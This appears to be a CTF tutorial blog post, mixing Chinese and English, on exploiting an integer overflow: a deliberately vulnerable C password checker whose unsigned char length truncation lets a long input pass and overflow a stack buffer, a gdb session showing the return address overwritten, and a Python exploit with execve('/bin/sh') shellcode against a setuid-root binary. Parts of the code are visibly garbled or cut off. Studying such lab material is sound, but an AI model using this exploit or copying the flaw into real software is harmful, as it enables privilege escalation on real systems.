php整数溢出 ctf,PWN INTEGER OVERFLOW 整数溢出

0x00      Preview

Last few passage I didn't conclude some important points and a general direction of the learning route of PWN. I browser some passages and finally I found one maybe suitable and reasonable for most PWN lovers:

0be6561878621b980a9024d088451096.png

0x01  Integer Overflow —— What's ?

Storing a value greater than maximun supported value is called integer overflow. 但是呢,这个也仅仅是overflow,不能造成代码执行(英文真的写不下去了。。。随心写了。。)。

首先我们来看一下C语言的 一些类型的对应的字节大小(摘自CTF WIKI)

short int

2byte(word)

0~32767(0~0x7fff)

-32768~-1(0x8000~0xffff)

unsigned short int

2byte(word)

0~65535(0~0xffff)

int

4byte(dword)

0~2147483647(0~0x7fffffff)

-2147483648~-1(0x80000000~0xffffffff)

unsigned int

4byte(dword)

0~4294967295(0~0xffffffff)

long int

8byte(qword)

正: 0~0x7fffffffffffffff

负: 0x8000000000000000~0xffffffffffffffff

unsigned long int

8byte(qword)

0~0xffffffffffffffff

之后我将CTF wiki上的总结了一下如下:

1b51e794369491150bc92f0f1b726d25.png

注意:大的范围转给小的范围的数,会造成截断,这是内存分布结构所导致的,下面示例中会讲到

0x02   How?

这里我先拿某位大神的示例,并说出我的观点

示例代码:

#include #include#include

void store_passwd_indb(char*passwd) {

}void validate_uname(char*uname) {

}void validate_passwd(char*passwd) {char passwd_buf[11];

unsignedchar passwd_len = strlen(passwd); /*[1]*/

if(passwd_len >= 4 && passwd_len <= 8) { /*[2]*/printf("Valid Password\n"); /*[3]*/fflush(stdout);

strcpy(passwd_buf,passwd);/*[4]*/}else{

printf("Invalid Password\n"); /*[5]*/fflush(stdout);

}

store_passwd_indb(passwd_buf);/*[6]*/}int main(int argc, char*argv[]) {if(argc!=3) {

printf("Usage Error: \n");

fflush(stdout);

exit(-1);

}

validate_uname(argv[1]);

validate_passwd(argv[2]);return 0;

}

去除保护措施编译:

$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c

$sudo chown root vuln

$sudo chgrp root vuln

$sudo chmod +s vuln

我们先来分析一下代码:

前两个函数没什么问题,第三个函数开始:

传入一个字符串(大小任意)——>定义11大小数组,每个单位为uchar字节(共11*1byte)

——> 获取密码长度,但是uchar(256)

——>  通过检测则复制密码到数组

——> 不通过则gg

——> 主函数没什么问题

思考:

第一个漏洞点:uchar 的len,因为长度为256,当大于256就会截断,如输入261(‭0001 0000 0101‬),截断后(后uchar字节的数):5(0101),所以len会变为5

第二个漏洞点:基本的栈溢出,就是复制密码到数组

结合两个漏洞点,因为shellcode一般是40多字节(排除任意长度大神),能存储的地方是buf,passwd,buf长度限制,用来溢出,passwd我们用来存储shellcode

步骤:

1、整数溢出过检测

2、栈溢出执行代码

0X03 Do the Exp

反编译程序第三个函数:

b8a2fda98b21b4dcb4db0843b2561094.png

这是我64位的结果,提供借鉴,但是作者的环境是x86,显示的可能不一样,我这里引入某大佬的调试过程:

Reading symbols fromvuln...done.

(gdb) b validate_passwd

Breakpoint1 at 0x804850d: file vuln.c, line 14.

(gdb) r sploitfun `python-c 'print "A"*261'`

Starting program:/home/jourluohua/work/test2/vuln sploitfun `python -c 'print "A"*261'`

Breakpoint1, validate_passwd (

passwd=0xbffff6b6 'A' ...) at vuln.c:14

14 unsigned char passwd_len = strlen(passwd); /*[1]*/(gdb) n//单步调试,想看看执行到了我们认为的关键的代码没有,很明显这儿还不是关键代码

15 if(passwd_len >= 4 && passwd_len <= 8) { /*[2]*/(gdb) n16 printf("Valid Password\n"); /*[3]*/(gdb) p passwd_len//这儿是关键处了,但是如果是正确的话,passwd_len 应该是'A',很可能是程序还没真正执行到

$1 = 5 '\005'(gdb) n

Valid Password17fflush(stdout);

(gdb) n18 strcpy(passwd_buf,passwd); /*[4]*/(gdb) n23 store_passwd_indb(passwd_buf); /*[6]*/(gdb) p passwd_len//好终于到了我们想要的地方了

$2 = 65 'A'(gdb) p&passwd_len   //passwd_len的地址,既然利用的是栈,我们在乎的是内存布局

$3 = (unsigned char *) 0xbffff46f 'A' ...

(gdb) p buf//手误,没有任何原因

$4 = 0x0(gdb) n24}

(gdb) p passwd_buf//passwd_buf的值也对了

$5 = 'A' (gdb) p&passwd_buf[0]  //passwd_buf的地址也和我们想象的一样

$6 = 0xbffff464 'A' ...

(gdb) p/x $eip      //很明显还没有被覆盖

$7 = 0x8048578(gdb) p/x $ebp      //这个真的不是在凑字数,ebp的地址很重要

$8 = 0xbffff478(gdb) n0x41414141 in ??()

(gdb) p/x $eip      //好,已经覆盖了

$9 = 0x41414141(gdb) p/x $ebp

$10 = 0x41414141(gdb)

嗯,差不多能ret我们输入的shellcode,没错我比较愚笨所以输入了10次26字母加一个字母

堆栈结构什么的我就直接复制粘贴了:

pub?w=760&h=505

说明一下我个人的观点:

这里注意的是,char先定义,所以按char来算,就是在buf[8-11]和len之间填4个字节

2、RET 后面跟EBP之前说过,不多说了

shellcode:

#exp.py#!/usr/bin/env python

importstructfrom subprocess importcall

arg1= "sploitfun"

#Stack address where shellcode is copied.

ret_addr = 0xbffff4e0

#Spawn a shell#execve(/bin/sh)

scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$

#endianess convertion

defconv(num):return struct.pack("

arg2 = "A" * 24arg2+=conv(ret_addr);

arg2+= "\x90" * 100arg2+=scode

arg2+= "C" * 108

print "Calling vulnerable program"call(["./vuln", arg1, arg2])

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值